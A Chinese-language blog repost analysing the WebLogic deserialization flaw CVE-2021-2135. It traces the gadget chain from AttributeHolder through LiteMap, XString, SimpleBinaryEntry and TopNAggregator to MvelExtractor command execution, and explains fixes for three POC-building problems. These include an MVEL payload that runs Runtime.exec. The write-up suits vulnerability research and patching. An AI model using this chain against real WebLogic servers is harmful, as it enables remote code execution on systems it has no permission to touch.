【技术分享】WebLogic CVE-2021-2135分析及POC构造遇到的问题

admin 2021年8月11日10:24:43评论133 views字数 13463阅读44分52秒阅读模式
【技术分享】WebLogic CVE-2021-2135分析及POC构造遇到的问题

 

前言

【技术分享】WebLogic CVE-2021-2135分析及POC构造遇到的问题

早在今年4月 Weblogic发布了安全公告,里面有一个编号是CVE-2021-2135的反序列化漏洞,因为工作原因需要构造该漏洞POC,当时拿到了安全补丁,但是奈何太菜并没有解出来。后来360CERT发布了分析文章,花了一周多的时间终于把POC构造出来了。现在把分析学习及POC构造中遇到的问题记录下来。

4月与1月补丁WebLogicFilterConfig.classdiff后如下,将com.tangosol.internal.util.SimpleBinaryEntry加入了黑名单。

private static final String[] DEFAULT_BLACKLIST_CLASSES = new String[]{"oracle.jdbc.pool.OraclePooledConnection"};
private static final String[] DEFAULT_WLS_ONLY_BLACKLIST_CLASSES = new String[]{"com.tangosol.internal.util.SimpleBinaryEntry"};

根据补丁反向推漏洞的话主要两部分命令执行载体和反序列化载体,命令执行载体达到我们执行命令的目的,反序列化载体从反序列化从入口到命令执行载体入口的动态执行,我们先分别来分析下。

 

命令执行载体分析

【技术分享】WebLogic CVE-2021-2135分析及POC构造遇到的问题

既然我们已经知道com.tangosol.internal.util.SimpleBinaryEntry在黑名单里,那么我们来分析下com.tangosol.internal.util.SimpleBinaryEntry的特性。

1、SimpleBinaryEntry的特性

SimpleBinaryEntry实现了SerializerAware、ExternalizableLite、PortableObject,ExternalizableLite用来处理序列化相关数据。

public class SimpleBinaryEntry<K, V>     implements Entry<K, V>, SerializerAware, ExternalizableLite, PortableObject

SimpleBinaryEntry有2个可序列化属性和3个不可序列化属性,其中m_binKey和m_binValue是二进制类型。

@JsonbProperty("binKey")protected Binary m_binKey; //二进制key,JsonbProperty作用是把该属性的名称序列化为另外一个名称,如把m_binKey属性序列化为binKey@JsonbProperty("binValue")protected Binary m_binValue; //二进制valueprotected transient Serializer m_serializer;protected transient K m_key;protected transient V m_value;

SimpleBinaryEntry有参构造方法通过传参BinaryEntry或者key和value给属性m_binKey和m_binValue赋值:

public SimpleBinaryEntry(Binary binKey, Binary binValue) {    this.m_binKey = binKey;    this.m_binValue = binValue;}

SimpleBinaryEntry借助m_serializer通过getKey和getValue方法处理另外两个属性m_key和m_value。当其没有被赋值,会调用ExternalizableHelper.fromBinary来处理并返回结果,这时候的m_key和m_value处理后可以是指定类型的实例,而这也是漏洞的关键之处,我们可以通过构造将m_key或m_value转为我们想要的对象。

public K getKey() {    K key = this.m_key;    if (key == null) {        // 返回的是ExternalizableHelper.fromBinary(this.m_binKey,this.m_serializer)的结果        key = this.m_key = ExternalizableHelper.fromBinary(this.m_binKey, this.getContextSerializer());    }
return key;}
public V getValue() { V value = this.m_value; if (value == null) { // 返回的是ExternalizableHelper.fromBinary的结果 value = this.m_value = ExternalizableHelper.fromBinary(this.m_binValue, this.getContextSerializer()); }
return value;}

SimpleBinaryEntry重写了toString方法,我们可以通过该方法调用getKey。

public String toString() {    return "SimpleBinaryEntry(key="" + this.getKey() + "", value="" + this.getValue() + "")";}

我们来看下ExternalizableHelper.fromBinary。

2、ExternalizableHelper.fromBinary

ExternalizableHelper.fromBinary最终会调用ExternalizableHelper.deserializeInternal处理,deserializeInternal方法如下,当nType!=21时调用ExternalizableHelper.readObjectInternal读取对象。

// serializer可以是SimpleBinaryEntry.this.m_serializer,buf可以是SimpleBinaryEntry.m_binKey或m_binValueprivate static <T> T deserializeInternal(Serializer serializer, ReadBuffer buf, Function<BufferInput, BufferInput> supplierBufferIn, Class<T> clazz) throws IOException {    BufferInput in = buf.getBufferInput();    int nType = in.readUnsignedByte();    switch(nType) {    ...    ...    if (supplierBufferIn != null) {        in = (BufferInput)supplierBufferIn.apply(in);    }    // nType!=21,调用ExternalizableHelper.readObjectInternal    Object o = nType == 21 ? serializer.deserialize(in, clazz) : readObjectInternal(in, nType, ((ClassLoaderAware)serializer).getContextClassLoader());    return realize(o, serializer);}

ExternalizableHelper.readObjectInternal会按照nType的值进行处理,根据ExternalizableHelper.writeObjectnType,在序列化时通过getStreamFormat进行赋值。

// getStreamFormat:o instanceof ExternalizableLite ? 10,当对象是ExternalizableLite实例,nType=10public static int getStreamFormat(Object o) {    return o == null ? 0 : (o instanceof String ? 6 : (o instanceof Number ? (o instanceof Integer ? 1 : (o instanceof Long ? 2 : (o instanceof Double ? 3 : (o instanceof BigInteger ? 4 : (o instanceof BigDecimal ? 5 : (o instanceof Float ? 14 : (o instanceof Short ? 15 : (o instanceof Byte ? 16 : 11)))))))) : (o instanceof byte[] ? 8 : (o instanceof ReadBuffer ? 7 : (o instanceof XmlBean ? 12 : (o instanceof ExternalizableHelper.IntDecoratedObject ? 13 : (o instanceof ExternalizableLite ? 10 : (o instanceof Boolean ? 17 : (o instanceof Serializable ? 11 : (o instanceof Optional ? 22 : (o instanceof OptionalInt ? 23 : (o instanceof OptionalLong ? 24 : (o instanceof OptionalDouble ? 25 : (o instanceof XmlSerializable ? 9 : 255))))))))))))));}

ExternalizableHelper.readObjectInternal代码如下,根据序列化数据的类型nType进行反序列化读取对象,当nType=10,调用readExternalizableLite。

private static Object readObjectInternal(DataInput in, int nType, ClassLoader loader) throws IOException {    switch(nType) {    case 0:        return null;    case 1:        return readInt(in);    case 2:        return readLong(in);    ......    case 7:        Binary bin = new Binary(); //调用Binary.readExternal反序列化读取        bin.readExternal(in);        return bin;    ......    case 10:        return readExternalizableLite(in, loader); // 当nType=10,调用readExternalizableLite    case 11:        return readSerializable(in, loader);    ......    case 255:        return readSerializable(in, loader);    default:        throw new StreamCorruptedException("invalid type: " + nType);    }}

在ExternalizableHelper.readExternalizableLite中,会实例化类为value,并且会调用value所属类的readExternal方法来读取最终的对象。

public static ExternalizableLite readExternalizableLite(DataInput in, ClassLoader loader) throws IOException {    ExternalizableLite value;    if (in instanceof PofInputStream) {        value = (ExternalizableLite)((PofInputStream)in).readObject();    } else {        String sClass = readUTF((DataInput)in); // 获取类名        WrapperDataInputStream inWrapper = in instanceof WrapperDataInputStream ? (WrapperDataInputStream)in : null;
try { // 加载并实例化序列化时写入的类名 value = (ExternalizableLite)loadClass(sClass, loader, inWrapper == null ? null : inWrapper.getClassLoader()).newInstance(); ...... // 调用value的readExternal方法读取对象 value.readExternal((DataInput)in); // !!注意这里 当value是SerializerAware的实例,会设置它的Serializer if (value instanceof SerializerAware) { ((SerializerAware)value).setContextSerializer(ensureSerializer(loader)); } }
return value;}

看到这里我们已经明白了SimpleBinaryEntry本质是Entry,有键值对,它的key即m_key属性、value即m_value属性,可以通过getKey和getValue设置,而getKey通过ExternalizableHelper.fromBinary来处理,ExternalizableHelper.fromBinary会根据m_binKey的数据类型的不同调用不同的反序列化方法进行读取,那么我们可以构造m_binKey达到我们命令执行的目的。

那么到这里我们怎么执行命令?参考之前的漏洞CVE-2020-14756,可以考虑通过com.tangosol.coherence.rest.util.extractor.MvelExtractor#extrace执行命令。

ExternalizableHelper.readExternalizableLite()        TopNAggregator.PartialResult.readExternal()           TopNAggregator.PartialResult.add()             (AbstractExtractor)MvelExtractor.compare()               MvelExtractor.extract()                 MVEL.executeExpression()

3、TopNAggregator.PartialResult.readExternal()到命令执行

TopNAggregator$PartialResult实现了ExternalizableLite,其重写了readExternal(),我们可以通过ExternalizableHelper.readExternalizableLite()调用TopNAggregator$PartialResult.readExternal。

TopNAggregator$PartialResult.readExternal主要读取和恢复m_comparator、m_cMaxSize、m_map属性的数据,其中调用了Comparator.readObject给属性m_comparator赋值,comparator 可控为 MvelExtractor,m_map是用m_comparator构造的TreeMap实例,并且通过TopNAggregator$PartialResult.add添加map的键值对。TopNAggregator$PartialResult.add会调用父类的add方法,最终通过map.put添加数据。

public void readExternal(DataInput in) throws IOException {    // 这里会调用Comparator.readObject给this.m_comparator赋值    this.m_comparator = (Comparator)ExternalizableHelper.readObject(in);    this.m_cMaxSize = ExternalizableHelper.readInt(in);    //调用SortedBag.instantiateInternalMap    this.m_map = this.instantiateInternalMap(this.m_comparator);    int cElems = in.readInt();
for(int i = 0; i < cElems; ++i) { // 调用add this.add(ExternalizableHelper.readObject(in)); }
this.m_comparator_copy = this.m_comparator;}
public boolean add(E o) { NavigableMap map = this.getInternalMap();
while(!Base.equals(o, this.unwrap(map.ceilingKey(o)))) { if (map.put(o, NO_VALUE) == null) { return true; } } // 调用map.put map.put(this.wrap(o), NO_VALUE); return true;}

TreeMap.put()调用TreeMap.compare,最终会调用comparator.compare((K)k1, (K)k2)。

public V put(K key, V value) {    Entry<K,V> t = root;    if (t == null) {        // 调用TreeMap.compare        compare(key, key); // type (and possibly null) check        ......        return null;    }    int cmp;    Entry<K,V> parent;    ......    return null;}
final int compare(Object k1, Object k2) { return comparator==null ? ((Comparable<? super K>)k1).compareTo((K)k2) : comparator.compare((K)k1, (K)k2);}

如果这里comparator是我们构造的MvelExtractor实例,MvelExtractor继承了AbstractExtractor,便可以调用AbstractExtractor.compare,从而调用MvelExtractor.extract达到命令执行的目的。

# AbstractExtractor.comparepublic int compare(Object o1, Object o2) {    return SafeComparator.compareSafe((Comparator)null, this.extract(o1), this.extract(o2));}# MvelExtractor.extractpublic Object extract(Object oTarget) {    // 调用MVEL.executeExpression执行命令    return oTarget == null ? null : MVEL.executeExpression(this.getCompiledExpression(), oTarget);}

 

反序列化载体分析

【技术分享】WebLogic CVE-2021-2135分析及POC构造遇到的问题

1、SimpleBinaryEntry.toString()的触发

反序列化到SimpleBinaryEntry.toString()的触发,在360CERT中提到用com.sun.org.apache.xpath.internal.objects.XString.equals()。当XString.equals()的参数是SimpleBinaryEntry实例时,可以调用SimpleBinaryEntry.toString。

public boolean equals(Object obj2){  if (null == obj2)    return false;  else if (obj2 instanceof XNodeSet)    return obj2.equals(this);  else if(obj2 instanceof XNumber)      return obj2.equals(this);  else    return str().equals(obj2.toString());//,当传入的是simpleBinaryEntry,调用SimpleBinaryEntry.toString}

这时候需要触发XString.equals(simpleBinaryEntry),我们可以考虑Map的put方法,因为Map一般在插入元素时做比较会调用equal,并且Map有个特别之处就是它一般不限制对象的类型,我们可以构造Map的Key或者Value为不同的对象如XString实例或者simpleBinaryEntry实例。

com.tangosol.util.LiteMap继承了com.tangosol.util.InflatableMap,InflatableMap.put中当InflatableMap.m_nImpl==1,通过调用Objects.equals(xString, simpleBinaryEntry)可以调用xString.equals(simpleBinaryEntry)。所以LiteMap构造时传入的Map是map<simpleBinaryEntry, anyValue>和map<xString, anyValue>。

public V put(K key, V value) {    switch(this.m_nImpl) {    case 0:        this.m_nImpl = 1;        this.m_oContents = this.instantiateEntry(key, value);        return null;    case 1:        Entry<K, V> entry = (Entry)this.m_oContents;        K entryKey = entry.getKey();        V prevValue = null;        // this.m_nImpl==1,调用Objects.equals(key, entryKey),Objects.equals(xString, simpleBinaryEntry)        if (Objects.equals(key, entryKey)) {            prevValue = entry.getValue();            entry.setValue(value);        } else {            Entry<K, V>[] aEntry = new Entry[8];            aEntry[0] = entry;            aEntry[1] = this.instantiateEntry(key, value);            this.m_nImpl = 3;            this.m_oContents = aEntry;        }
return prevValue; ... ... }}
public static boolean equals(Object a, Object b) { // 当a!=b,返回a.equals(b),当a是xString,b是simpleBinaryEntry,a肯定不等于b,调用xString.equals(simpleBinaryEntry) return (a == b) || (a != null && a.equals(b));}

2、反序列化入口

那么接下来是找到反序列化入口,必然涉及到readObject或readExternal等类似读取的方法,如何在这些方法中调用LiteMap.put。com.tangosol.util.processor.ConditionalPutAll实现了com.tangosol.io.ExternalizableLite并重写了readExternal,在readExternal中构造了LiteMap实例,并且调用了com.tangosol.util.ExternalizableHelper.readMap将map的属性读取赋值给LiteMap实例。

public void readExternal(DataInput in) throws IOException {    this.m_filter = (Filter)ExternalizableHelper.readObject(in);    // 创建LiteMap对象    Map map = this.m_map = new LiteMap();    // 调用ExternalizableHelper.readMap处理map的反序列化    ExternalizableHelper.readMap(in, map, (ClassLoader)null);}

com.tangosol.util.ExternalizableHelper.readMap中调用了map.put,假如oKey=xString、oVal=simpleBinaryEntry,刚好就能调用这里的map是LiteMap的实例,所以会调用com.tangosol.util.InflatableMap.put(xString,simpleBinaryEntry),跟前面的链就连上了。

public static int readMap(DataInput in, Map map, ClassLoader loader) throws IOException {    int cEntries;    if (in instanceof PofInputStream) {        PofInputStream inPof = (PofInputStream)in;        inPof.getPofReader().readMap(inPof.nextIndex(), map);        cEntries = map.size();    } else {        cEntries = in.readInt();
for(int i = 0; i < cEntries; ++i) { // 读取map.key Object oKey = readObject(in, loader); // 读取map.value Object oVal = readObject(in, loader); // 调用map.put将key和value添加到map map.put(oKey, oVal); } }
return cEntries;}

刚开始的时候分析到这里我以为就完成了整个链,没想到忽略了一点-ConditionalPutAll只有readExternal(DataInput in)方法,没有实现Externalizable,不能传入ObjectInput,所以不但能作为入口。我们可以用CVE-2020-14756的com.tangosol.coherence.servlet.AttributeHolder作为入口,AttributeHolder实现了Externalizable,并且可以通过调用readExternal(ObjectInput in)调用ExternalizableHelper.readObject(in)

public void readExternal(ObjectInput in) throws IOException {    this.readExternal((DataInput)in);}
public void readExternal(DataInput in) throws IOException { this.m_sName = ExternalizableHelper.readUTF(in); //通过ExternalizableHelper.readObject可以进一步调用ExternalizableHelper.readObjectInternal this.m_oValue = ExternalizableHelper.readObject(in); this.m_fActivationListener = in.readBoolean(); this.m_fBindingListener = in.readBoolean(); this.m_fLocal = in.readBoolean();}

 

POC构造遇到的三个问题

【技术分享】WebLogic CVE-2021-2135分析及POC构造遇到的问题

在构造POC时,遇到了三个分析了很久才解决的问题:

  • SimpleBinaryEntry.m_binKey的构造问题

  • 不设置SimpleBinaryEntry.m_serializer导致序列化失败

  • ClassCastException报错问题导致序列化失败

1、SimpleBinaryEntry.m_binKey的构造问题

最初构造m_binKey时,我用的是TopNAggregator$PartialResult.writeExternal()来写二进制数据,我忘了很重要的一点,writeExternal()一般序列化只会写一些属性,不涉及TopNAggregator$PartialResult自身的序列化,所以我调试到这里始终进不去TopNAggregator$PartialResult.writeExternal(),后来通过ExternalizableHelper解决了。

ExternalizableHelper.writeObject(dataOutputStream1, partialResult);

2、不设置SimpleBinaryEntry.m_serializer导致序列化失败

SimpleBinaryEntry在反序列化时会通过if (value instanceof SerializerAware) {((SerializerAware)value).setContextSerializer(ensureSerializer(loader));}给m_serializer赋值,所以虽然m_serializer时transient类型但是也被赋值了。但是在序列化时,我们需要用setContextSerializer给m_serializer赋值,如果没有设置m_serializer,会报错NullPointerException,因为SimpleBinaryEntry的key和value需要利用m_serializer来获取。调试的时候发现默认使用的是com.tangosol.io.DefaultSerializer,所以我在设置是也用了它。

Serializer m_serializer= new DefaultSerializer(SimpleBinaryEntry.class.getClassLoader());simpleBinaryEntry.setContextSerializer(m_serializer);

3、ClassCastException报错问题

在用y4er CVE-2020-14756的POC时也报了错:ClassCastException,但不影响执行命令,但是我的POC在序列化也执行了命令,所以才会报这个错并且导致程序执行不下去。

【技术分享】WebLogic CVE-2021-2135分析及POC构造遇到的问题

执行了SafeComparator.compareSafe((Comparator)null, this.extract(o1), this.extract(o2)),真正报错的地方在该方法的((Comparable)o1).compareTo(o2)。因为在传入参数时调用MvelExtractor.extract(o1)传值,extract通过MVEL.executeExpression返回结果,extract会把MVEL.executeExpression的结果返回作为o1,当MVEL.executeExpression执行结果是空默认会返回一个java.lang.ProcessImpl对象,ProcessImpl并不是Comparable的子类,所以将ProcessImpl转为Comparable会报一个转换错误。如何解决呢?既然执行的结果是空才会返回ProcessImpl对象,我只要返回一个实现了Comparable的类的实例就可以解决这个问题,这里我用了Integer。

MvelExtractor extractor1 = new MvelExtractor("java.lang.Runtime.getRuntime().exec("calc");return new Integer(1);");


参考链接

【技术分享】WebLogic CVE-2021-2135分析及POC构造遇到的问题

https://xz.aliyun.com/t/9550
https://y4er.com/post/weblogic-cve-2020-14756/
https://mp.weixin.qq.com/s/eyZfAPivCkMbNCfukngpzg

(点击“阅读原文”查看链接)【技术分享】WebLogic CVE-2021-2135分析及POC构造遇到的问题


- End -
精彩推荐
【技术分享】分享一个最近的一次应急溯源
【技术分享】工控攻防演示——从外网到内网控制系统设备的入侵
【技术分享】对抗样本及其背后性质分析(实战导向)
【技术分享】DDoS介绍与防御
【技术分享】WebLogic CVE-2021-2135分析及POC构造遇到的问题
戳“阅读原文”查看更多内容

本文始发于微信公众号(安全客):【技术分享】WebLogic CVE-2021-2135分析及POC构造遇到的问题

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年8月11日10:24:43
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【技术分享】WebLogic CVE-2021-2135分析及POC构造遇到的问题https://cn-sec.com/archives/455180.html

发表评论

匿名网友 填写信息